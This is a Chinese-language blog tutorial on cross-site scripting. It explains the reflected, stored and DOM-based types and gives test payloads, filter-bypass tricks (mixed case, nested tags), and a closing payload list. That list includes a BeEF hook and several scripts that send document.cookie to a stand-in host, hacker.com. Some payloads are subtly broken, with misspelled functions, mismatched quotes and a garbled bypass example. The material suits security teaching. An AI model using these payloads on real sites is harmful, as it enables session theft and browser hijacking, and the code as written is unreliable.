简单的XSS理解

概念

​ 跨站脚本攻击也就是别人常提的XSS是指攻击者利用网站程序对用户输入的内容过滤不足或者没有过滤的缺陷。输入可以显示在页面上,对访问该网址的用户造成影响的HTML代码,,这些HTML代码可以盗取用户的资料、利用用户身份到达某种目的或者直接使用病毒侵害。XSS英文全称为Cross Site Scripting,原本缩写应该是CSS,但是为了不和层叠样式表(CSS)混淆,因此安全专家们通常将它缩写为XSS

原理

​ XSS本质上是一种将恶意代码嵌入到当前网页中并能成功执行的攻击方式。一般情况下hacker通过HTML注入篡改网页,并插入恶意的JS脚本,以达到用户浏览网页的时候控制用户的浏览器行为,XSS产生的原因主要是网站对用户输入的内容过于信任(对输入的字符过滤不严),导致hacker提交的数据可以修改当前网站页面或者插入一些恶意脚本。常见的攻击点为:网站留言板、评论处等等,当hacker达成了攻击hacker可以在该网址弹出一些自定义的弹窗、盗取用户的cookie、弹出广告

类型

1.反射型XSS

​ 存在反射型XSS漏洞的页面只是将用户输入的数据通过URL的形式直接或者没有经过安全过滤就在浏览器输出,这样会导致输出的数据中可能存在可被浏览器执行的代码数据,由于这种恶意代码存在URL中,因此hacker需要引诱或者加密变形,再将存在恶意代码的链接发送给受害者,只有用户点击该链接之后才能完成一次攻击

2.存储型XSS

​ 存储型XSS是指web应用程序将用户输入的数据信息保存在服务器的数据库或者保存在其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并且将数据的内容在网页中输出展示,当用户访问具有XSS脚本攻击的网页时,就会触发攻击效果。网站管理员不及时发现,该跨站脚本就会一直存在,因此具有很强的稳定性。存储型XSS常见于博客和新闻发布系统中,hacker会将包含恶意代码的数据直接写入文章或者文章评论中,当有用户浏览该网页时就会执行hacker留下的恶意代码

3.基于DOM的XSS

​ 基于DOM的XSS攻击并非按照”数据是否保存在服务器端“来划分从体现出来的效果也算是反射型XSS。但是这种XSS实现方法比较特殊,是由JavaScript的DOM节点编程可以改变HTML代码这个特性而形成的XSS攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS攻击往往需要针对具体的JavaScript DOM代码进行分析,并根据实际情况进行XSS攻击的利用。但实际应用中,由于构造语句具有较大难度,而且实现效果以及要求较为严苛,因此比较少见

测试基本跨站代码

	<Script>alert(/XSS/)</script>

​ 这段代码的意义是:通过JavaScript执行弹窗命令,出现弹窗的命令为alert,弹窗的内容是/XSS/,在留言处、评论、文章、URL中提交该代码之后可以刷新页面,看看是否出现弹窗,如果出现了弹窗就说明存在XSS漏洞

大小写混合测试

​ 随着web安全防护技术的进步,稍微有点安全意识的web开发者都会使用一定的防护手段来防御XSS攻击。下面将的几种测试方法针对基于黑名单过滤的XSS防护手段进行绕过测试。所谓的黑名单过滤,就是开发者将<script>等易于触发脚本执行的标签关键词作为黑名单,当用户提交的内容中出现了黑名单中的关键词时,系统就会将内容拦截丢弃或者过滤以达到防护手段,但有可能开发者粗心大意没有将提交的数据进行小写转换,由于JavaScript脚本不区分大小写因此我们可以尝试大小写混合进行绕过如:

<sCrIpT>alert(/XSS/)</sCrIpT>

多重嵌套测试

​ 当大小写混合的方式行不通时说明后台对关键词的过滤进行了较为严格的转换和校验,当我们提交的数据中关键词标签被删除了,这样开发者就达到了避免XSS攻击的目的,这个时候我们可以构造一个多余的关键词来让服务器主动删除,删除之后的内容会自动拼接成有效的代码如:

<scr<script>ipt>alert(/XSS/)<scr<script>ipt>

当服务器删除里面的<script>剩下的内容会自动拼接成<scirpt>alert(/XSS)</script>这样我们就达到了绕过的目的

多标签测试

​ 在实际的XSS测试过程中,能触发弹窗效果的远不至于<script>这一标签。在不同的浏览器、不同的场景、不同的环境下,能出发攻击效果的跨站代码也不尽相同,下面根据互联网的公开资料,整理了一份常见的跨站代码列表

<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>
<script>alert("请移步到我们的新站");location.href="http://www.qfedu.com"</script>
<script src="http://www.qfedu.com/xss.js"></script>
<img src="#" onerror=alert('XSS')>
<img src="javascript:alert('XSS');">
<img src="http://BeEF_IP:3000/hook.js"></img>
<script>windon.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Images().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie'"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie";
img.width=0;
img.height=0;
</script>
posted @ 2021-09-30 15:12  crany  阅读(651)  评论(0编辑  收藏  举报